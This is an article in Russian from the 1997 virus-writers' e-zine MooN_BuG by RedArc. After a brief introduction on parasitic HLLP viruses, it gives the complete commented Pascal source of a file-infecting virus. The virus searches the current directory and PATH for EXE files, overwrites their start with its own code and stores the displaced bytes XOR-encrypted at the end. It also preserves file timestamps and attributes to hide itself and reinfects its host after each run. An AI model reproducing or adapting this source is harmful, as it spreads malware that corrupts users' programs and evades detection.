[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 2, May 1997 file 005
ВИРУСЫ-ПАРАЗИТЫ
by RedArc
Данный тип вирусов наиболее живуч. Он практически не имеет основных
недостатков предыдущих типов вирусов, так как программа-жертва и
программа-вирус располагаются в одном файле.
Описание HLLP есть в вирлисте у Данилова. По приведенному там алгоритму
необходимо всякий раз перед заражением или запуском на исполнение создавать и
перезаписывать кучу файлов, что сильно замедляет работу вируса и делает его
практически неприемлемым для распространения.
Ниже приведен исходник вируса на языке Pascal, который по скорости
размножения практически не уступает аналогам, написанным на языке Assembler.
Ну и самое главное, для его работы не требуются те маразматические приемы,
которые привел господин Данилов.
Прошу обратить особое внимание на следущие моменты (некоторые из которых
уже встречались нам при написании предыдущих вирусов):
- вирус таскает в "куче" свою копию, что позволяет значительно ускорить
процесс размножения;
- при инфицировании из начала программы в буфер считывается необходимое
количество байт, которые шифруются в памяти и записываются в конец
программы-жертвы. Поверх начала программы вирус и записывает свой код. Этот
прием позволяет избежать создания кучи файлов и значительно усложняет лечение
вируса.
- перед запуском на исполнение "хозяина" целиком необходимо вылечить, а
после возврата управления вирусу повторяем его инфицирование сначала. Этот
прием позволяет организовать подобие стелс-механизма и использование для
повторного заражения ранее созданного кода, что в свою очередь позволяет
уменьшить размеры тушки.
- для быстрого определения присутствия вируса в файле используется
байт-идентификатор, который вирус записывает в самый конец инфицированной
программы, а перед заражением проверяет его наличие.
Большое количество комментариев позволит заинтересовавшимся разобраться в
исходнике вируса детальнее, а нетерпеливым уже пора прейти к следующему
разделу - полноценный HLLP-вирус на языке BASIC... (а в переди нас ожидает еще
много различных сюрпризов)!
=== Cut ===
(****************************************************************************)
(***** HLLP.Pascal (c) 1997 by RedArc // [TAVC] *****)
(***** Поиск EXE-программ в текущем каталоге и по переменной PATH *****)
(***** Паразитирование на основном коде программы *****)
(***** MooN_BuG issue 2 // Вирусы-паразиты // *****)
(****************************************************************************)
{$A+,B-,D-,E-,F-,G-,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X+,Y-}
{$M 20000,0,10240}
PROGRAM Pascal;
USES DOS;
CONST
MyLen = 5232; {Длина сжатого EXE-файла с кодом вируса}
Ident = 'MooN_BuG // HLLP.Pascal';
Limit = 5; {Количество допустимых заражений за один сеанс}
VAR
SR : SearchRec; {Информация о найденном файле}
FN : String; {Имя файла}
Dir : DirStr; {Каталог}
Nam : NameStr; {Имя}
Ext : ExtStr; {Расширение}
P : Pointer; {Указтель на вирус в памяти}
Count : Byte; {Количество инфицированных программ за сеанс}
{Функция перевода строки символов в верхний регистр}
FUNCTION UpStr (S : String) : String;
VAR
I : Byte;
BEGIN
FOR I := 1 TO Length (S) DO
S [I] := UpCase (S [I]);
UpStr := S;
END;
{"Обработка" клиента}
PROCEDURE Infect_File;
VAR
F : File; {Переменная для работы с файлами}
Buff1 : Array [1..MYLEN] Of Byte; {Буфер}
Buff2 : Array [1..MYLEN] Of Byte; {Буфер}
B : Byte;
W : Word;
BEGIN
{Пытемся открыть найденный файл}
Assign (F, SR.Name);
FileMode := 2;
SetFAttr (F, Archive);
ReSet (F,1);
IF IOResult <> 0 THEN Exit;
{Проверяем предельные размеры файла для инфицирования}
IF (FileSize (F) < 2*MyLen) OR (FileSize (F) > 30*MyLen) THEN BEGIN
Close (F);
Exit;
END;
{Проверяем "метку" присутствия вируса - последний байт файла 'Z'}
Seek (F, FileSize (F)-1);
BlockRead (F, B, 1, W);
IF B = Ord ('Z') THEN BEGIN
{В этом файле вирус уже присутствует}
Close (F);
Exit;
END;
{Считываем в буфер начало программы}
Seek (F, 0);
BlockRead (F, Buff1, MyLen, W);
{Видоизменяем буфер до неузноваемости}
FOR W := 1 TO MyLen DO
Buff2 [W] := Buff1 [MyLen-W+1] xor $FF;
{Записываем содержимое буфера в конец файла}
Seek (F, FileSize (F));
BlockWrite (F, Buff2, MyLen, W);
{Записываем метку вируса (признак зараженности)}
B := Ord ('Z');
BlockWrite (F, B, 1, W);
{Записываем вирусный код в начало программы}
Seek (F, 0);
BlockWrite (F, P^, MyLen, W);
{Восстанавливаем временные параметры и атрибуты}
SetFTime (F, SR.Time);
Close (F);
SetFAttr (F, SR.Attr);
{Увеличиваем счетчик зараженных файлов}
Inc (Count);
END;
{Поиск в текущем каталоге}
PROCEDURE Find_In_To_Current_Directory;
BEGIN
FindFirst('*.EXE', AnyFile, SR);
While (DosError = 0) AND (Count < Limit) do begin
FSplit (SR.Name, Dir, Nam, Ext);
Infect_File;
FindNext(SR);
End;
END;
{Запуск программы-носителя на исполнение}
PROCEDURE Exec_Program;
VAR
F : File;
Buff1 : Array [1..MYLEN] Of Byte;
Buff2 : Array [1..MYLEN] Of Byte;
W : Word;
B : Byte;
S : String;
FTime : LongInt;
FAttr : Word;
BEGIN
FSplit (FExpand(ParamStr (0)), Dir, Nam, Ext);
{Если старт из дроппера - запуск на исполнение не производим}
IF Nam = 'HLLP_PAS' THEN Exit;
{Запоминание характеристик файла}
Assign (F, ParamStr (0));
GetFAttr (F, FAttr);
SetFAttr (F, Archive);
{Пытемся открыть для чтения/записи}
FileMode := 2;
ReSet (F,1);
IF IOResult <> 0 THEN BEGIN
{Нет доступа к файлу - выдадим сообщение об ошибке}
WriteLn ('Run-time error 219 at 0000:DEAD');
Exit;
END;
GetFTime (F, FTime);
{Считываем зашифрованное начало программы}
Seek (F, FileSize (F) - (MyLen + 1));
BlockRead (F, Buff1, MyLen, W);
{Расшифровываем}
FOR W := 1 TO MyLen DO
Buff2 [W] := Buff1 [MyLen - W + 1] xor $FF;
{Записываем на прежнее место, затирая вирусный код}
Seek (F, 0);
BlockWrite (F, Buff2, MyLen, W);
{Отсекаем лишнюю информацию}
Seek (F, FileSize (F) - (MyLen + 1));
Truncate (F);
Close (F);
{Собираем параметры в строку}
S := '';
FOR W := 1 TO ParamCount DO
S := ParamStr (1) + ' ';
{Запускаем на исполнение}
SwapVectors;
Exec (ParamStr (0), S);
SwapVectors;
{Восстановим заражение}
FindFirst (ParamStr (0), AnyFile, SR);
Infect_File;
END;
{Перебор каталогов, указанных в переменной PATH}
PROCEDURE Search_From_PATH;
VAR
PS : String;
Home : String;
S : String;
Ch : Char;
I : Byte;
BEGIN
GetDir (0, Home);
PS := GetEnv ('PATH');
S := '';
I := 1;
WriteLn (PS);
REPEAT
IF I >= Length (PS)+1 THEN BEGIN
IF S <> '' THEN BEGIN
IF S[Length(S)] = '\' THEN Delete (S, Length (S), 1);
ChDir (S);
IF IOResult = 0 THEN
Find_In_To_Current_Directory;
END;
Break;
END;
Ch := PS [I];
Inc (I);
IF Ch <> ';' THEN S := S + Ch ELSE BEGIN
IF S[Length(S)] = '\' THEN Delete (S, Length (S), 1);
ChDir (S);
IF IOResult <> 0 THEN BEGIN
WriteLn (Ident); {Сообщение идентификационной информации}
S := '';
Continue;
END;
Find_In_To_Current_Directory;
S := '';
END;
UNTIL False;
ChDir (Home);
END;
VAR
F : File;
W : Word;
BEGIN
{Инициализация счетчика инфицированных файлов}
Count := 0;
{Чтение вируса в память}
GetMem (P,MyLen);
Assign (F, ParamStr (0));
ReSet (F,1);
IF IOResult = 0 THEN BEGIN
BlockRead (F, P^, MyLen, W);
Close (F);
{Поиск в текущем каталоге}
Find_In_To_Current_Directory;
{Поиск по PATH}
Search_From_PATH;
END;
{Запуск программы-носителя}
Exec_Program;
{Освобождение памяти}
FreeMem (P, MyLen);
END.
=== Cut ===